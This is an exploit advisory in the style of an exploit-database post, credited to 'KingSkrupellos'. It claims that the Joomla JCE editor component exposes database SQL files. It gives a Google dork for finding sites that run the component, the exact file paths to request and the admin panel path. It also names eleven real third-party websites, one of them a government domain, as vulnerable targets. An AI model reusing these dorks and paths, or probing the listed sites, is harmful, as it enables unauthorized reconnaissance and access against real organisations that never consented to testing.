################################################################################################# # Exploit Title : Joomla Content Editor Com_JCE Components 2.5.24 Database Backup Disclosure Information Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 30/11/2018 # Vendor Homepage : joomlacontenteditor.net # Software Download Links : joomlacontenteditor.net/downloads/ + github.com/joomla/volunteers.joomla.org/tree/master/www/administrator/components/com_jce/sql + gitlab.dev.playkey.net/realzkh/realzkh_legacy/tree/master/administrator/components/com_jce/sql + JCE 2.6.33 => joomlacontenteditor.net/downloads/editor/core?task=callelement&format=raw&item_id=1353&element= f85c494b-2b32-4109-b8c1-083cca2b7db6&method=download&args[0]=9ee3309d5768681d0360490d647c2266 + JCE 2.5.24 => joomlacontenteditor.net/news/jce-2524-released # Tested On : Windows and Linux # Category : WebApps # Version Information : 2.6.33 ~ 2.5.24 # Google Dorks : inurl:''/index.php?option=com_jce'' Index of /administrator/components/com_jce/sql/ # Exploit Risk : Medium # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ] CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ] ################################################################################################# # Admin Panel Login Path : /administrator/ # Exploit : /administrator/components/com_jce/sql/mysql.sql /administrator/components/com_jce/sql/postgresql.sql /administrator/components/com_jce/sql/sqlsrv.sql ################################################################################################# # Example Vulnerable Sites => [+] volunteers.joomla.org/www/administrator/components/com_jce/sql/mysql.sql [+] freightdb.kzntransport.gov.za/administrator/components/com_jce/sql/mysql.sql [+] murraynebraska.com/nl/administrator/components/com_jce/sql/mysql.sql [+] rkbell.ca/joomla30/administrator/components/com_jce/sql/mysql.sql [+] vir.nw.ru/test/vir.nw/administrator/components/com_jce/sql/mysql.sql [+] weepingwaternebraska.com/nl/administrator/components/com_jce/sql/mysql.sql [+] fotozrak.mk/print/administrator/components/com_jce/sql/mysql.sql [+] colegioconcepciondeparral.cl/ccparral/administrator/components/com_jce/sql/mysql.sql [+] elmwoodnebraska.com/nl/administrator/components/com_jce/sql/mysql.sql [+] nowagalicja.itl.pl/files/jce/administrator/components/com_jce/sql/sqlsrv.sql [+] aeroglobal.org/ios/administrator/components/com_jce/sql/mysql.sql ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################